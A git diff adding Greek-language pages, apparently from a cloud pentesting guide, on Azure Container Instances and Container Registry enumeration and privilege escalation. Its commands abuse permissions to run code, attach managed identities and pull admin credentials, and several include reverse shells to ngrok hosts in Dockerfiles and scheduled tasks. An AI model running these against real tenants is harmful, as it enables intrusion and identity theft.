zED0CQU8-Mc6&Z2mX~QkL8a9T?tf6j8f}6ryT&#ZS(&STYYMGHxi{_(c%nQ1Z?)P2I zt&nq{?fgB6Qooa~KUZ5-r^1$#N&2BYlXSi9PU5k1jCMl#dR4_Ph=al7zGgC5WE@gZ z^M3Cq721fZ@cynN)pEi!kfCcdP7uP#=W+_S!sP| zVq!9V6L@0t-S#LUV$lK~*K@fAiB6W164v-WVI5Jp7JeEkzl=F)=RmF=k7XBgf`ENm zwFrRx0+nhfOHKno*?=#@OD(&votHqD8^ET&i&CmZ?f?2&(35{tSKo7yPrKHw2q|?! zzc!(GLXOrmaWbq z_8R4e~m`rlXOqnX;NQm{@al( zaF-d9sL)e%<{jcA*!I@l(E+=6_SHOPVd>WF^T z_bk+H>Muj;HnF?^#y7o$vX2D)sPz#1f6}lVcl=gXwp!MsXm<5h4RTx>J% zC5(jApV~L(`!`;f6hmQ$xDxXY+!6YwhqO5@=b+-mY_5g>{8b@>N_X*FQm?z7OG-*+ z&Yx)~HK*#HqS{=#Fj{FZ;WKN;@uuuIe8|^-l|6MbpIRPQ`RWJYeFA#nbEk0fO1B5f%{%CHiM3iH?|(|J$Hfln zNWMK(+EPx1i@AB?-FddjZ}ztbi&@w{X57Eh>=9JSP|ER*ds0}L1G z!1Ii`imtEP38To0lk3cKPZ<{pI$(4FPsih}y;5U;d|LR$u9G>lNJF8(P7;`_1--It98 zH!YX_6G)o;T)MMSS;t2dpT&#WF%7@=d2OaGm($efok54T+rCnL@~qi5zR`jx58VeX z<2S(wvOVt}eDa~vm(Of|o|q&bI_IozwES>=*xOzup!@T~#g1lJ!5AkjQ3hTcF>3I# zW9z;p)p~K&2)5dXnP{P5;f z>y%@2e^GDp1QW|F@HT?8leamSbVqAk`z3j0WR8oS!ieT&-f`HHMVT+!CvPF!GM#Su zf+u>y0~NB1=QN~3j1YgkU&#K2N8ZfW z>?E237A&$S1N6$1P1RU6xrmn#a}Nw8h<= zLNARZC+RaU(|R0~z*>sF*yGw~Za%LR`&%h|5VJicT1gChen!xo>L_SJ`Dp?0HPT+8 zK8j4YqX7h^OwP6+1wp7-;M=q)cCQ_UQ^G6&z%sV09FIQa9$esz#e98)9E|k6fz*;? z^Il3i3KxywLYQg8or5od{Ch$b!S$gjf@cmhlmAPvAu76{+3`9kIM_o!p5^FU`eIyV z{EM5Pzt_HZw1G0HVBa&rT-5?=R{vsg{~uP<@PDjfKHQK0+uR@-N?aXaC(@z5-PI>Y zM=|o{2|$?CycUrUs4iaHk2uXIyYy;H|HO$CtGKzqI9`YPN3~u2)Xp~yp$bS>#*Gw# zAcub-@OuEOf2P?I$aJ#3I)UwCM~~2a5uFMGmpnfGuMIZ?mMQ zJc!n-a%h1b zo_@W*SCE&3FhN&;ZBID>g61qSZKJ4iSxmI?1V>;R;BYLoBTIJ%=r{%dN!^R_QoG=o z^l~mww>-AmD^j11VJ2F1pe=AEf-Lff-`YVTtdPWN=-P-w32@V zLnZ15j7Exl@)dPxDxufcJ7cv~S6Awfqe~gWpsA$GlK%kkWzv_cjeFMT*Y4UUY5J^U z$emzhgL-}MB@~`s)lN%GE0sqoM!cgmhz984j%jtx`upyWb##_fvrhZJ_5dcoco6K{ z^xGly2D-a!JcZHaciW?VHE+@kSKKLR?Sfg8k4y0=Sd?8YGgWpNN@ZadSt-5Yw;5vQ z)G6&;-1eU9VdGS-aj^+E_g6pZuT>8GOSVJs3~;9w52))Tz>#^L9}_}I9}6#+MZVY^ z#ne@J>uo&xmu2upOaPZ=pBvIxlPktSV3r_z?u$Zyl|SK--3UMh`+{c{h>@8sK(dmJ ziBEB{l7g`f5~JU~d4my3Izr7*Xf)UcNYKO1O}>WUd?%Bf<1yYZCN*P+~D zMpnDnT7gzQkC_$QpUvWz7>tTf685G)GNVWsC)6pWeLM{YbWIC@)V+V2HDWGQB$g!XA&M;K%XZ^PoZ z?kV0xVoczHy?`P}Jh$Fpg!4%x1Yi@kLN4y}MW&xqz!6|-)3dSNIF@kvbKgA-hRs-| z7X!-!MbCS(RL{(~wo?2tPb5+>C~0;@=aE^loh14aCgr%SJa?oeaghld%RNfq_^%~l z-z~*A<%Ez#V&eE<9e9{ogQ%NTpBjwJ9x4Dn&(vl}E^Bc9*QTt4arINW3Jcc9Q8XsA z4+-_}J~=o#mG40jyLOG?K8DArM%c zfDvwJJjvXBgU5{&L3}hyK>decUE%Tzq4SU#gQ6&If>Z~YwDU%dI6!0ESioK9bX^+Z zf!mmjr%ds-{y`zW+ujCAaPHe;=`UA{#XN z@#E$~z}T>&p`opo&$h zxc5*53bsZ;shqD0G;R3Q{L#QQN!0DkaR8B848eKA9Ch&2nEvU0zM zZ*4yK{Vr$ywpnw?Fg~TrQI@$pyRP-B@MKWiBiAu^X>%cBLA%}URe`0@nYOq%V2kEY z(zj}6Dm7%Y0{n}G-CkA63{X+|#!}r$8UZDQ6Vk4B$};(w*!yze8NtZ;6t7Kf_3dB+ z+U%l}0LYyCX)69WP20ZpdAb$61o%a&{RIYb*mQ37*so-s)IjLFb_|=islsR9JAv0y zW#}r=W+Ku~5LgswcTNFIEmPyi9I+T^m{jj(%^a!NwpoT&9YrmR#yHscwJ;sT~aa-DdP=wvtyp6xI7+3 zYMJ|;RH(Pc)d6gdc`+H@IbnBuDq^nnUi<~EPbj4x#pEk2z!p1tphFrz+ow;T?8|9| z?`k0=r2Dt@xE}m9n2+~MMn}=l8N084A@BJ%T2rC(Id^SSmX3_C@s;u)1GO6=3RvG{ zpzs!t_pY0QE!r}6s5yqXxVQ3Xq-gdbo&lDotRVL1=TF5i>sC3Wzh7XWvjIIw z^~s#me>>6#$L*bea3D=XLqj5#4-|MZ+LL}nP{{?@Q_YYefN&Qg>d#_1QEbX-l8;() zwTi@Vp1QT?Pd(+eHEM2+r;Xy!$jxjU;Euk=O#JLmLbW_Z~Rx|2`;2HW--C&)4JZ66dWUamfCM0F`B|7MNV z!ZEY;$lc=?3`x%@Mnk<=!4@YdT$`(Lp>`hAhJp4qi&AIgD`K=y+YtkpCg{)qJ|7=F z)|%x^p^c4amwPnbRAT;R;^=rqO%n?2Y`JM0b2@`g` z%9XrEr{niUKo>=#%F<9=XvSbMD12SUKSqzNIa#m*#eg$8x_~LG^GrO5SCvWSyXrp( zK;&LZsllu8-VsEaWd{oVu%@ZugtC)*szG}xJMC^q;PKBuOr&4 zW+iyGX=eAwfFtN=#T>xV?vI7SqhtwHC{pv^x!S$($b0;f2XG{kLc4iHV1|+a#1{KZ z@e<*Y@Lhe%2@K|RN6?{O&w795$lc(-wm8h!#qjX(9J`q>9p!j_doPWhQk2rtR(eN{ zD?p*qBN&lsWrXu^FCagH3o?OiM;|u9gkVIF>>TL@6q+=G5%1gmE13NMwjgHYEwWO? zhyr`Eu^k4c8)7FeCJq0NoU)-6a9F5kt3_QfelG)7<*{=rC~Uf1I-xq;^B15tKq^2- z3@`NMJt?*7m2Crgj_%Ip;=KJ$ioaOhuT=g&1k3)NWkp{bu6==rK2^nfdY+rtlyCKf zC!D=*(h|v1Y$89O`LdXdO6OGTSrQhx7pyUXYO(JV({k_USTako%ef4;?(F+K{q=fX zr0vzxj$`|)*}V@Vp6$z9p57hHKVG#{wQqT+%wA@wh>VUlQO!{NxVhiK5MJze3>^m* zX@fR?oEP)j43z#xQ+M&u1qV;ic`iDfPG|^hvQfo|L)b@vLS@OxE|)3MFo;Bt`PFi* zK=5z~swCY8B?-ZZRe}Di1#nBtL4Q&&{1oL2HDMVbgAG0bjw%@{rCL*`n zHJAV|t_;ywfagA{i2w6WUv5G;&E>WI7`I^LMTkhz>#!`q*DOmGbR7a=*lo~B^a0$7 ze4?Qt-!KgEmC-^e(?&Ij7TP>Ma|0=)Jpi;so>%}D!>r{LL^@rdrk|=^21pReYNj3v zjyUeIE2jnK8N40~C1WEQXd*@49t~qsU9|f+6uh1NVmKd>1O+<__kM0QabRzSLpvIC zMNL}Sv1^6^D8((RJZ|-{)J2Qa492H6gQF@+!MF~BDp5R`L!&@{6kzJ?uQwSxd{#Xx ziY3sPVVjCkv+NSkS=D?0=|_~W=o~t*80Ek$4c;SWx((4He)IOE9**MQqk+msufw!B zT^yg3bQ{Pdhf8oajCi-(780xmy2lo#rei`87>?=*`56EGM;V_ZK_pfJktZzQ(#j@q z;%^#ifZ~f9FgBo9PP?Qte|j7hSzcdc+$6v6^9!gbmtVU-N;w=bkO_dYLLLcUE(3w# zK>P(`^h+6+ja$>g=|#pctpGZdEDl#-Kg1S6IEZ9nuPbhGcniYY6UPM|rtb;f7`%l0 zcTit&D?y=RY6!+YdAkQOi^{6cI!KTPZvf?YztSqkIy55;K zfO6|=Fs}ySy3M6g>SrWLm)8mAlAw_B(C|t39$7VV4vmuws=*I`-v*}6KJHloT?oPE z=~Z=o{J8{hb67(o{Le!K(d*8UsDP}FL#H%T7t05jurGTMaUIQ@2HYZ{8Z2)-0WjV& zT{gyn5f*z(@dp_9JQ#|X>hz?fq!2j@g50F!7Ah>e-_P~s%`Z+8{~i-8jI|hUgJ0ri zJI{hdR8&-W9A&GWH&Q}aIkCA(9xYwBRFjdFEe6a`dF*^R`@%J(!M|IL{KZuzdd-N< z;7h9Mrs4)>&t>&e9&*fsUm$7@N3T0+{~?^{JJq4j@0G(zXr%^d`4PydAuILIa=qbu zEW85!;72GTCUgvo3v1$?_y?X$Bnn^L`p?h)+~EK27cq;wBBrOObCcd*KJY?F%P5JP zReWO~J#vU*y&QO?$y||9l9UoOZ+iz0_iP%os4oSJ8&}w&?+4-$r3Qr+BKyUkS4KKc z^1AOaPT3VbibEZYLx~c_qr63Z=)-%Dpx2`(s?Ht!J&K46p2hWs|L}(_Xy~P98yvL{ zbvjB9o~0LPbNEA97$9Z;+2R9@g6*dgo>hr6eE7p?44lq1j1JR3Gym^I^0V`+#O-8P z&o;R<>ZDqUcH}qmINNloy}8=ma3Y9Mj(Uzpx$QP+XPp)^^FT-q3+`<$*v;7Z`1sE* zcPc+)A-bB2dLjmOcd7E_r2aOwc@!PA2&Djghiz+D-$znsfou|Z=gX=om&H#T9*2Hv z4)k3{(*bWb7by5XWDj%VD7J$7l8eCS@q2u?*orWhl?~;y8R`L@$>YTd?lmj3em%$V zS0F&oqBWxb+kw+!exNFW!r0b}h*l;r5W_VDbjgKaFb09CzXkjGhXB`)oD9CAxhJ+y zr;@X)HG?|Q^7*y!VmMbx>+_o+)mJ{f-76A%OsDjLKA_u{UIQh2xn(!2E=Xs+ASS-q zDM2_GXW(rq5q$E#K!r>cqXu|QD_>Mbx!{ZG*uzG|BssUSrp+HeMNDW&E?q zM3>0jW|Lh<%tL{Lu6gox>{ZRrBj&KxZgHflJC;+|434TOhZB)P zCeCuaoUj2k13xG{*MF^Ak5-pagFNE~{Sy(NIz9;1PuEU_gUEF>9|T1?;IbQgPuwfdSUrqtth6fJprv@Rcr>d4u?(ZByx#A@WdkyJ(d}Em(EXla(xmdPYf1Ge2jJwWawj-ru^wPCuVo_8-4s<05 zeA)pFOq~Coxj2#LZbHeWR|uvPIhtbuYF?k9(WrNxY&>BN7yuk|u0oOB`@z&uCASUC z-WP(ba4_~yzT}p{9*H=A)&Lo{EnogHWxDpD5CC1ZN45`WK6M=&it!daww7#Qk1qli zW_acETW%eZG<%o7t5P(dymR&;%+$db*B_7EO9q=aGvxVf3SiSujJtT9ye7&G?GW=y zY6U8I5y*-Pcz(4FrdsQRZ}cLV;_Prbk!!?G`sc`2?_?p*zC8?r7psyRYGe;M^=k(} za$^lf<-$jG)kt!ED5d`yod-WkEhYNnFdSKu?d)u8HXmXT@t;N7EQAiWzXa%-#Fv^% z2o95DBf9*JBP4$eR5Nk3)ECXfUP=t6dZEed znhW8OO*o;X#@*!l_3KtCJuNhtSwGjJMHk(5vB<_-o=B#>KAhh=$$$yxK zm|nW3$Rzs0f3|2nmQ?N+b@TZ(BaB94^xk~f3Sx;bB`r>4B7L}`iyHUQyt;d7Bf5dZ z@-rc4ZPa6_@k=l7S2lzNnpAk1wv&*Ojw-$X9{ax6pAq+zD)n6E!c&dMCkgnuHAHIm zzT7=%P@12hQ{7L$n-CDIttg@)bH#hN^4l3Esr9xl_AE>r%A6Dp!3F6uHQ&8p&O_ zLJwP9T)07EA@;#<65R`hXQ>TTojue9A~v{zEd#(Ti+{ndnSv)IZXx=H!L@48 zZspxb5gxR9TktqXv%nTPZpmx=b4dB^K_1`-6IobTs@m{r1Uiug*q?6s$M5|;P5d%( zYquxE5QS*acd?Wph;%0|ox>CeoM zjd{#-wn3x>Qji>7fJz@elX91&vIl&+1#qwkZ?FG$uKw=0wakZI>{t>q05rwG;$v*C zG8-edJqVY)7%V%&)8~S_p#hGcnrFHP@<0eUOVU7?p^^nM-WIl8&Yo9Uq0r;aRr>ih zY?CdOU8~S=o1r2(KHlQWrMxunXl?`H7mL%=CW1ipzgm4yy$L5P4uJQ#gkB2a)i%E8 zP2eyG^JaPLfjNy8*?;!~j;A4a&|e8|f4xxL=I6ka1-x%kvn!J)G5YHZ@ z4r5mR`HMq)K+Q7lG!h(Gx(+IakZHG6QYGxj;mHqiE6@h|DC#rX4pqD1o_TT-q^c#L zhOg8>fD)oSp|k+~YfH7$H=~HFYcdmsU!0Q#?B8HgK~xBDfzUfGRmRT%rntNqXgEqn zcDXU#ASJK}4k5$H<_O!E2p}99bsb;yr@wh)ke58&ggnxDX=ISM-)3X3m#coY*bW!P zm#?w-O$WE!V{_qKyAZhaco=+}8e1Scr>YPsGr02dn8Re_{d`(XF9>ot%3M>NZTVKz zMCa)24Tp(5jtFhnx-KJ$4yR)XXf?+K9f(#M%V)Nn?*)JHBT=k*@LuxX&dweHkU^10@|Y4 zsMEUuP;Iextu#W8+>>H0m=(@V-{l6cmSr%+YuU6570`bo2cM^cLc1$;H7C zfN^X(j_vjzrUKTEZv^^|e16B+&fWZuo@nqY_#2hQBG7U0FMbd8$1)9p%&}#3K1?;x z$ZQdWT(y!h@SsBBr+ja12*9=hbU5}B&znq%ty5JH9Hg4I&a9`w5>{jJW1>=_WcGfs z!5kh^cg|wU%)LekP6aBVJ+~PUW;?8ZsjV`@O)PCSfrA?LSQY$`6t>#Ar6TblTw5)Z z6-CU9G3VMnL`byNWqoUUw>qnKt=r+A8;5m%!s|yy5pK_!PUviFOV5^49Y+ zYRW!v+RW^i0C&ImV9sm{#l&L8)?BtzDxV_7Y&<1s2x$Z+iZviB!=;IPQ!YUqUr259 z{8iDPt4;KyMHA~W>fiH8YemXt=R!t!)h^~edTeWXGhpvP^DyxK&_dKL=|3!VsKtj{ zvz2+yOtcY6<5zXRp#pJDDMU6gykFi(S>n-we>#QfpPfpt(i^i1^5%SA&`Z!uZ~9TK zwAf^&42dLO+Luo_Yud{@{(<^*)(-6RuCs3AGcSERsOhpkha{fN^4d{0eEB(KERF8U zILB%4tY^tOSEa-f=0@$CXvaP~(er&!na$j+EZRLfJ(zbFO~D)*G@pUW9CKi1bUp-exJ7kernD52ZK6&L3cq{Ny-O`A+fXDyP_&_4#X-Hr8pd_7CAg6#To(dOVsRgqHOS ze9q{YrWR+Pm56@y=uyKERnALF4XT_8DRCYbvoBU`k6&IkAFC}|DTxtNJ*~0c2T`vD ze<{wYW%3PWXWkFz1-8}r<$sc=vf;=TWYX&xN-kQAB^Dcbe6Ub{FF)S&(vW9Yu#aa5 zYvUhSNF+MZg=@kby9TJ!?2f8m@OVSQ&Wi_HRt*VTGu^oHYNaD}6z3r+;mPo(H{03n zG`fa{gol<;MOS+_BUaOdEoRVpmZIH06u8YWe zo;}t<96HVC7k_H<6kevLo_!ECe5WWyWco*GFM}kc5O} --resource-group --exec-command 'ls' +``` +Είναι επίσης δυνατό να **διαβάσετε την έξοδο** του κοντέινερ με: +```bash +az container attach --name --resource-group +``` +Ή αποκτήστε τα αρχεία καταγραφής με: +```bash +az container logs --name --resource-group +``` +### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` + +Αυτές οι άδειες επιτρέπουν να **συνδεθεί μια ταυτότητα που διαχειρίζεται ο χρήστης** σε μια ομάδα κοντέινερ. Αυτό είναι πολύ χρήσιμο για την αναβάθμιση δικαιωμάτων στο κοντέινερ. + +Για να συνδέσετε μια ταυτότητα που διαχειρίζεται ο χρήστης σε μια ομάδα κοντέινερ: +```bash +az rest \ +--method PATCH \ +--url "/subscriptions//resourceGroups//providers/Microsoft.ContainerInstance/containerGroups/?api-version=2021-09-01" \ +--body '{ +"identity": { +"type": "UserAssigned", +"userAssignedIdentities": { +"/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/": {} +} +} +}' \ +--headers "Content-Type=application/json" +``` +### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` + +Αυτές οι άδειες επιτρέπουν να **δημιουργηθεί ή να ενημερωθεί μια ομάδα κοντέινερ** με μια **ταυτότητα διαχειριζόμενη από χρήστη** συνδεδεμένη σε αυτήν. Αυτό είναι πολύ χρήσιμο για την κλιμάκωση δικαιωμάτων στο κοντέινερ. +```bash +az container create \ +--resource-group > \ +--name nginx2 \ +--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \ +--assign-identity "/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/" \ +--restart-policy OnFailure \ +--os-type Linux \ +--cpu 1 \ +--memory 1.0 +``` +Επιπλέον, είναι επίσης δυνατή η ενημέρωση μιας υπάρχουσας ομάδας κοντέινερ προσθέτοντας για παράδειγμα το **`--command-line` επιχείρημα** με ένα reverse shell. + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md new file mode 100644 index 000000000..7eb9ef3fa --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md @@ -0,0 +1,115 @@ +# Az - Azure Container Registry Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## Azure Container Registry + +Για περισσότερες πληροφορίες ελέγξτε: + +{{#ref}} +../az-services/az-container-registry.md +{{#endref}} + +### `Microsoft.ContainerRegistry/registries/listCredentials/action` + +Αυτή η άδεια επιτρέπει στον χρήστη να καταγράψει τα διαπιστευτήρια διαχειριστή του ACR. Αυτό είναι χρήσιμο για **να αποκτήσει πλήρη πρόσβαση** στο μητρώο. +```bash +az rest --method POST \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ContainerRegistry/registries//listCredentials?api-version=2023-11-01-preview" +``` +Σε περίπτωση που τα διαπιστευτήρια διαχειριστή δεν είναι ενεργοποιημένα, θα χρειαστείτε επίσης την άδεια `Microsoft.ContainerRegistry/registries/write` για να τα ενεργοποιήσετε με: +```bash +az rest --method PATCH --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ContainerRegistry/registries/?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}' +``` +### `Microsoft.ContainerRegistry/registries/tokens/write`, `Microsoft.ContainerRegistry/registries/generateCredentials/action` + +Αυτές οι άδειες επιτρέπουν στον χρήστη να **δημιουργήσει ένα νέο token** με κωδικούς πρόσβασης για πρόσβαση στο registry. + +Για να χρησιμοποιήσετε το `az cli` για να το δημιουργήσετε όπως στο παρακάτω παράδειγμα, θα χρειαστείτε επίσης τις άδειες `Microsoft.ContainerRegistry/registries/read`, `Microsoft.ContainerRegistry/registries/scopeMaps/read`, `Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read`, `Microsoft.ContainerRegistry/registries/tokens/read` +```bash +az acr token create \ +--registry \ +--name \ +--scope-map _repositories_admin +``` +### `Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action`, `Microsoft.ContainerRegistry/registries/scheduleRun/action`, `Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action` + +Αυτές οι άδειες επιτρέπουν στον χρήστη να **κατασκευάσει και να εκτελέσει μια εικόνα** στο μητρώο. Αυτό μπορεί να χρησιμοποιηθεί για να **εκτελέσει κώδικα** στο κοντέινερ. + +>[!WARNING] +> Ωστόσο, η εικόνα θα εκτελείται σε ένα **sandboxed περιβάλλον** και **χωρίς πρόσβαση στην υπηρεσία μεταδεδομένων**. Αυτό σημαίνει ότι το κοντέινερ δεν θα έχει πρόσβαση στα **μεταδεδομένα της παρουσίας**, οπότε αυτό δεν είναι πραγματικά χρήσιμο για την αναβάθμιση δικαιωμάτων. +```bash +# Build +echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile +az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null +``` +### `Microsoft.ContainerRegistry/registries/tasks/write` + +Αυτή είναι η κύρια άδεια που επιτρέπει τη δημιουργία και την ενημέρωση μιας εργασίας στο μητρώο. Αυτό μπορεί να χρησιμοποιηθεί για **να εκτελέσετε κώδικα μέσα σε ένα κοντέινερ με μια διαχειριζόμενη ταυτότητα συνδεδεμένη σε αυτό** στο κοντέινερ. + +Αυτό είναι το παράδειγμα για το πώς να εκτελέσετε ένα reverse shell σε ένα κοντέινερ με την **διαχειριζόμενη** ταυτότητα συνδεδεμένη σε αυτό: +```bash +az acr task create \ +--registry \ +--name reverse-shell-task \ +--image rev/shell:v1 \ +--file ./Dockerfile \ +--context https://github.com/carlospolop/Docker-rev.git \ +--assign-identity \ +--commit-trigger-enabled false \ +--schedule "*/1 * * * *" +``` +Ένας άλλος τρόπος για να αποκτήσετε RCE από μια εργασία χωρίς να χρησιμοποιήσετε εξωτερικό αποθετήριο είναι να χρησιμοποιήσετε την εντολή `az acr task create` με την επιλογή `--cmd`. Αυτό θα σας επιτρέψει να εκτελέσετε μια εντολή στο κοντέινερ. Για παράδειγμα, μπορείτε να εκτελέσετε ένα reverse shell με την παρακάτω εντολή: +```bash +az acr task create \ +--registry \ +--name reverse-shell-task-cmd \ +--image rev/shell2:v1 \ +--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \ +--schedule "*/1 * * * *" \ +--context /dev/null \ +--commit-trigger-enabled false \ +--assign-identity +``` +> [!TIP] +> Σημειώστε ότι για να αναθέσετε την ταυτότητα που διαχειρίζεται το σύστημα δεν χρειάζεστε καμία ειδική άδεια, αν και πρέπει να έχει ενεργοποιηθεί προηγουμένως στο μητρώο και να έχει ανατεθεί κάποια άδεια για να είναι χρήσιμη. + +Για να αναθέσετε μια **ταυτότητα που διαχειρίζεται από τον χρήστη επίσης** θα χρειαστείτε την άδεια `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` για να κάνετε: +```bash +az acr task create \ +--registry \ +--name reverse-shell-task \ +--image rev/shell:v1 \ +--file ./Dockerfile \ +--context https://github.com/carlospolop/Docker-rev.git \ +--assign-identity \[system\] "/subscriptions/>/resourcegroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/" \ +--commit-trigger-enabled false \ +--schedule "*/1 * * * *" +``` +Για να **ενημερώσετε** το αποθετήριο μιας υπάρχουσας εργασίας μπορείτε να κάνετε: +```bash +az acr task update \ +--registry \ +--name reverse-shell-task \ +--context https://github.com/your-user/your-repo.git +``` +### `Microsoft.ContainerRegistry/registries/importImage/action` + +Με αυτή την άδεια είναι δυνατή η **εισαγωγή μιας εικόνας στο azure registry**, ακόμη και χωρίς να έχετε την εικόνα τοπικά. Ωστόσο, σημειώστε ότι **δεν μπορείτε να εισάγετε μια εικόνα με μια ετικέτα** που ήδη υπάρχει στο registry. +```bash +# Push with az cli +az acr import \ +--name \ +--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import +``` +Για να **αφαιρέσετε ή να διαγράψετε μια συγκεκριμένη ετικέτα εικόνας** από το μητρώο, μπορείτε να χρησιμοποιήσετε την παρακάτω εντολή. Ωστόσο, σημειώστε ότι θα χρειαστείτε έναν χρήστη ή ένα διακριτικό με **αρκετές άδειες** για να το κάνετε: +```bash +az acr repository untag \ +--name \ +--image : + +az acr repository delete \ +--name \ +--image : +``` +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-container-instances.md b/src/pentesting-cloud/azure-security/az-services/az-container-instances.md new file mode 100644 index 000000000..58a406708 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-services/az-container-instances.md @@ -0,0 +1,45 @@ +# Az - Container Instances + +{{#include ../../../../banners/hacktricks-training.md}} + +## Basic Information + +Οι Azure Container Instances (ACI) παρέχουν έναν **serverless, on-demand τρόπο** για να τρέχετε **containers** στο Azure cloud. Μπορείτε να **deploy** έναν ή πολλούς containers σε μια ομάδα με **scalable compute**, **networking options**, και την ευελιξία να συνδεθείτε με **άλλες υπηρεσίες Azure** (όπως Storage, Virtual Networks, ή Container Registries). + +Καθώς είναι **ephemeral** workloads, δεν χρειάζεται να διαχειρίζεστε την υποκείμενη υποδομή VM — το Azure το διαχειρίζεται για εσάς. Ωστόσο, από μια **offensive security perspective**, είναι κρίσιμο να κατανοήσετε πώς οι **permissions**, οι **identities**, οι **network configurations**, και τα **logs** μπορούν να αποκαλύψουν επιφάνειες επίθεσης και πιθανές κακοδιαμορφώσεις. + +### Configurations + +- Για να δημιουργήσετε έναν container, είναι δυνατόν να χρησιμοποιήσετε μια δημόσια εικόνα, μια εικόνα container από ένα Azure Container Registry ή ένα εξωτερικό αποθετήριο, το οποίο μπορεί να **απαιτεί να ρυθμίσετε έναν κωδικό πρόσβασης** για να έχετε πρόσβαση σε αυτό. +- Όσον αφορά το networking, μπορεί επίσης να έχει μια **δημόσια IP** ή να είναι **private endpoints**. +- Είναι επίσης δυνατόν να ρυθμίσετε κοινές ρυθμίσεις docker όπως: +- **Environment variables** +- **Volumes** (ακόμα και από Azure Files) +- **Ports** +- **CPU and memory limits** +- **Restart policy** +- **Run as privileged** +- **Command line to run** +- ... + +## Enumeration + +> [!WARNING] +> Όταν κάνετε enumeration ACI, μπορείτε να αποκαλύψετε ευαίσθητες ρυθμίσεις όπως **environment variables**, **network details**, ή **managed identities**. Να είστε προσεκτικοί με την καταγραφή ή την εμφάνισή τους. +```bash +# List all container instances in the subscription +az container list + +# Show detailed information about a specific container instance +az container show --name --resource-group + +# Fetch logs from a container +az container logs --name --resource-group + +# Execute a command in a running container and get the output +az container exec --name --resource-group --exec-command "ls" + +# Get yaml configuration of the container group +az container export --name --resource-group +``` + diff --git a/src/pentesting-cloud/azure-security/az-services/az-container-registry.md b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md new file mode 100644 index 000000000..4f0225c44 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md @@ -0,0 +1,157 @@ +# Az - Container Registry + +{{#include ../../../../banners/hacktricks-training.md}} + +## Basic Information + +Azure Container Registry (ACR) είναι ένα ασφαλές, ιδιωτικό μητρώο που σας επιτρέπει να **αποθηκεύετε, διαχειρίζεστε και έχετε πρόσβαση σε εικόνες κοντέινερ στο Azure cloud**. Ενσωματώνεται απρόσκοπτα με πολλές υπηρεσίες Azure, παρέχοντας αυτοματοποιημένες ροές εργασίας κατασκευής και ανάπτυξης σε κλίμακα. Με δυνατότητες όπως η γεωγραφική αναπαραγωγή και η σάρωση ευπαθειών, το ACR βοηθά στην εξασφάλιση ασφάλειας και συμμόρφωσης επιπέδου επιχείρησης για εφαρμογές κοντέινερ. + +### Permissions + +Αυτές είναι οι **διαφορετικές άδειες** [σύμφωνα με τα έγγραφα](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) που μπορούν να δοθούν σε ένα Container Registry: + +- Πρόσβαση στον Resource Manager +- Δημιουργία/διαγραφή μητρώου +- Push εικόνας +- Pull εικόνας +- Διαγραφή δεδομένων εικόνας +- Αλλαγή πολιτικών +- Υπογραφή εικόνων + +Υπάρχουν επίσης μερικοί **ενσωματωμένοι ρόλοι** που μπορούν να ανατεθούν, και είναι επίσης δυνατή η δημιουργία **προσαρμοσμένων ρόλων**. + +![]() + +### Authentication + +> [!WARNING] +> Είναι πολύ σημαντικό ότι ακόμη και αν το όνομα του μητρώου περιέχει μερικά κεφαλαία γράμματα, θα πρέπει πάντα να χρησιμοποιείτε **μικρά γράμματα** για να συνδεθείτε, να κάνετε push και pull εικόνες. + +Υπάρχουν 4 τρόποι για να αυθεντικοποιηθείτε σε ένα ACR: + +- **Με Entra ID**: Αυτός είναι ο **προεπιλεγμένος** τρόπος αυθεντικοποίησης σε ένα ACR. Χρησιμοποιεί την εντολή **`az acr login`** για να αυθεντικοποιηθεί στο ACR. Αυτή η εντολή θα **αποθηκεύσει τα διαπιστευτήρια** στο αρχείο **`~/.docker/config.json`**. Επιπλέον, αν εκτελείτε αυτή την εντολή από ένα περιβάλλον χωρίς πρόσβαση σε docker socket όπως σε ένα **cloud shell**, είναι δυνατή η χρήση της σημαίας **`--expose-token`** για να αποκτήσετε το **token** για να αυθεντικοποιηθείτε στο ACR. Στη συνέχεια, για να αυθεντικοποιηθείτε πρέπει να χρησιμοποιήσετε ως όνομα χρήστη `00000000-0000-0000-0000-000000000000` όπως: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN` +- **Με έναν λογαριασμό διαχειριστή**: Ο διαχειριστής χρήστη είναι απενεργοποιημένος από προεπιλογή αλλά μπορεί να ενεργοποιηθεί και στη συνέχεια θα είναι δυνατή η πρόσβαση στο 